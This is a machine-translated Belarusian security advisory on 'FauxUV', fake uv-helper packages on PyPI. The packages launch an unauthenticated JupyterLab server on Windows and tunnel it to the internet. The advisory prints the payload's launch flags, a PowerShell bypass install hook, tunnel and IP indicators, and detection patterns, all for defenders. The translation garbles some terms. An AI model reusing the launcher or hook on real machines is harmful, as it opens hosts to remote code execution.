FauxUV: Падробленыя пакеты PyPI uv адкрываюць Jupyter для Інтэрнэту

FauxUV: падробленыя UV-памочнікі PyPI, якія адкрываюць неаўтэнтыфікаваны сервер Jupyter у Інтэрнэце.

TL, д-р

Кластар пакетаў PyPI запазычыў назву uv, хуткі, надзвычай папулярны менеджар пакетаў Python на базе Rust, якія выдаюцца за памочнікі UV. Яны амаль не маюць рэальнай функцыянальнасці. Замест гэтага яны нясуць у сабе карысную нагрузку Windows, якая вытрымлівае Сервер JupyterLab з адключанай аўтэнтыфікацыяй а ў пазнейшых версіях публікуе яго ў публічным інтэрнэце праз зваротны тунэль.

Вось і ўся гісторыя ў адным радку: назва надзейнага інструмента ў якасці прынады і JupyterLab у якасці рухавіка дыстанцыйнага выканання кода. Сервер Jupyter выконвае любы код, які вы ўводзіце ў неebook ячэйка; адна, запушчаная з пустым токеном і прывязаная да кожнага сеткавага інтэрфейсу, — гэта адкрыты інтэрпрэтатар, якім можа кіраваць любы, хто мае доступ да порта.

Мы адсочваем кластар як FauxUVДва разгледжаныя пакеты moon-uv (0.0.1 – 0.0.16) і my-magic-uv-helper (0.0.1), апублікаваны тым жа аператарам і даступны на PyPI на момант аналізу.

ЭкасістэмаPyPI
Пакетыmoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Арыентавана на платформуWindows
Асноўная паводзіныНеаўтэнтыфікаваны сервер JupyterLab, апублікаваны ў інтэрнэце праз зваротны тунэль
Злоўжыванне законнымі інструментаміуф, JupyterLab, cloudflared, Pinggy

Прывабнасць: імя, якому вы ўжо давяраеце

uv з'яўляецца адным з найбольш усталяваных інструментаў Python за апошнія два гады, таму «памочнік для uv«— гэта пакет, які распрацоўшчык усталёўвае без лішніх роздумаў. FauxUV цалкам грунтуе сваю рэпутацыю на гэтай назве. Пакеты абгортваюць сапраўдны uv усталёўшчык ад Astral — URL-адрасы ў карыснай нагрузцы паказваюць на рэальныя, надзейныя хосты — таму хуткі погляд не бачыць нічога, акрамя надзейных спасылак. Ні адзін з пакетаў насамрэч не дадае uv функцыянальнасць; назва — гэта ўся маскіроўка.

JupyterLab як рухавік RCE

Цэнтральным элементам карыснай нагрузкі з'яўляецца пускавая праграма, якая запускае JupyterLab пасля выдалення ўсіх агароджаў:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Кожны сцяг здымае абарону, і пастаўляемы скрыпт нават анатаваў іх (на арыгінальнай кітайскай мове): пусты токен «адключае праверку пароляў і токенаў — падключыцца можа кожны». лабараторыя Юпітэра з'яўляецца легітымным IDE для навукі аб дадзеных, але неebook ячэйка выконвае адвольны код па задуме. Настроена такім чынам і звязана з 0.0.0.0, яно перастае быць IDE і становіцца неаўтэнтыфікаванай аддаленай абалонкай на хасце — не патрабуецца карыстальніцкі бінарны файл шкоднаснага праграмнага забеспячэння, проста звычайны інструмент, накіраваны не ў тым кірунку.

Дзве апорныя часткі робяць гэта дасягальным і паўтаральным:

  • Трыгер ціхай усталёўкі. Раннія версіі працуюць з PowerShell -Абыход палітыкі выканання прама з setup.py on ўстаноўка pip, на заднім плане з памылкамі, падаўленымі такім чынам зярнятка выглядае нармальна. Пазнейшыя версіі перамяшчаюць той жа прымітыў у піп-уф інструмент каманднага радка — і цалкам адмовіцца ад аўтаматычнага запуску падчас усталёўкі.
  • Грамадскі рэверсны тунэль. Сервер на 0.0.0.0 па-ранейшаму даступны толькі для тых хостаў, якія могуць падключыцца да машыны. Убудаваны модуль адкрывае [Pinggy](https://pinggy.io/) Зваротны тунэль SSH, які перасылае лакальны порт Jupyter на публічны адрас, здымаючы гэтае абмежаванне. Пастаўлены скрыпт таксама нясе — закаментаваны — альтэрнатыўны шлях з выкарыстаннем Cloudflare ўспыхнулі хмары і Netsh порт-проксі да IP-адраса Linode, дакументуючы тую ж мэту праз розную інфраструктуру.

Збярыце ўсё разам: усталюйце пакет, і хост Windows запусціць JupyterLab без пароля і апублікуе яго ў адкрытым інтэрнэце.

Як развіваўся FauxUV

Версіі FauxUV хутка выйшлі адна за адной, і кропка запуску карыснай нагрузкі перамяшчалася паміж імі — напамін пра тое, што адна пазначаная версія рэдка распавядае ўсю гісторыю радка пакета.

Этап версіі Трыгер Што гэта дадае
Усталявальны кручок moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py пры ўсталёўцы pip uv install + PATH дадаецца да пачатку
CLI-выкананне moon-uv 0.0.5-0.0.13 pip-uv каманда беспарольны лаунчер JupyterLab
Тунэль moon-uv 0.0.14-0.0.16 pip-uv каманда актыўны зваротны тунэль Pingy

Варта адзначыць, што аўтаматычны запуск падчас усталёўкі быў аддалены у пазнейшых, больш магутных версіях — таму сканер актываваўся толькі на працягу жыццёвага цыклу hooks ацаніў бы новыя рэлізы як менш рызыкоўна, акурат наадварот.

Паказчыкі кампрамісу

Пацверджана чытаннем зыходнага кода пакета; канчатковыя кропкі пазначаны пракаментаваў прысутнічаюць у файлах, але не выконваюцца аналізаванай версіяй. Сеткавыя індыкатары дэінсталяваныя.

тып індыкатар
Каманда ўстаноўкі powershell -ExecutionPolicy Bypass атрыманне сапраўднага ўсталёўшчыка UV падчас усталёўкі PIP
Сцягі JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Зваротны тунэль (актыўны) free[.]pinggy[.]io:443 пераадрасацыя лакальнай 127.0.0.1:8888
Тунельны хост (з каментарамі) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (з каментарыямі) 45[.]79[.]134[.]161 (Лінодэ) праз netsh port-proxy
Настойлівасць дадае ў пачатку %USERPROFILE%\.local\bin да карыстальніка PATH

Паводніцкія сігналы, на якія варта звярнуць увагу, незалежна ад гэтых канкрэтных радкоў: a ўстаноўка pip што спараджае powershell -ExecutionPolicy Bypassлюбы юпітэр запуск аб'яднання токен = "" з –ip=0.0.0.0і выходны SSH да *.pinggy.io ад распрацоўшчыка або машыны CI.

Назіраная паводзіны і паходжанне

Два пакеты маюць агульнага аўтара і метад: назву надзейнага інструмента, шлюз толькі для Windows, падаўленне памылак у фонавым рэжыме і апора на надзейныя інструменты, таму хуткі погляд бачыць толькі надзейныя URL-адрасы. Крыніца змяшчае каментарыі на кітайскай мове, якія выразна апісваюць сцягі, звязаныя з бяспекай; мы паведамляем пра іх як пра назіраныя сцвярджэнні ў файле, а не як пра сцвярджэнне аб матыве. allow_origin значэнне і а colab.bat Назва файла адлюстроўвае нефармальныя працоўныя працэсы «падзяліцца маім лакальным асяроддзем выканання», якія выкарыстоўваюцца для Google Colab. Незалежна ад паходжання, вынік упакоўкі аднолькавы.

Уплыў і рэкамендацыі для абаронцаў

Хто падвяргаецца ўздзеянню FauxUV. Распрацоўшчыкі Windows і кіраўнікі неперарыўнай інтэграцыі, якія ўстаноўка pip адзін з гэтых пакетаў. JupyterLab без пароля на 0.0.0.0 гэта дыстанцыйнае выкананне кода для ўсіх, хто можа дабрацца да порта; тунэль здымае абмежаванне «хто можа да яго дабрацца». Сервер працуе ад імя карыстальніка, які ўсталёўвае, успадкоўваючы файлы, токены і воблачныя ўліковыя дадзеныя гэтага карыстальніка.

Чаму гэта лёгка прапусціць. Кожны сеткавы радок паказвае на аўтарытэтнага хоста — Astral, JupyterLab, ўспыхнулі хмары, Pinggy, Colab. Няма двайковага файла шкоднаснага праграмнага забеспячэння для хэшавання і няма заблытанага блобу для дэкадавання. Сканіраванне на аснове рэпутацыі і сігнатур недаацэньвае гэта, таму пытанне паводзін — што робіць машына пасля ўстаноўкі гэтага пакета — гэта той, хто яго ловіць.

Кіраўніцтва:

  • Апрацоўвайце любы час усталёўкі powershell -ExecutionPolicy Bypass як сігнал, які парушае зборку, незалежна ад URL-адраса, які ён атрымлівае.
  • Абвестка ўключана юпітэр запушчаны з пустым токеном і –ip=0.0.0.0; гэтая камбінацыя ніколі не павінна з'яўляцца на працоўнай станцыі або рабочай панэлі.
  • Маніторынг выходных SSH-пераходаў да тунэльных правайдэраў (*.pinggy.io, *.trycloudflare.com) з асяроддзя распрацоўшчыкаў і неканфігураванай інтэграцыі.
  • Усталёўваць uv з [афіцыйнай крыніцы](https://docs.astral.sh/uv/) і скептычна ставіцеся да старонніх «дапаможных» пакетаў, якія абгортваюць інструмент, які ўжо і так нязначна ўсталяваць.
  • Замацоўваць і пераглядаць залежнасці пры абнаўленні — радок пакета можа нарошчваць новыя магчымасці ад версіі да версіі.
інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni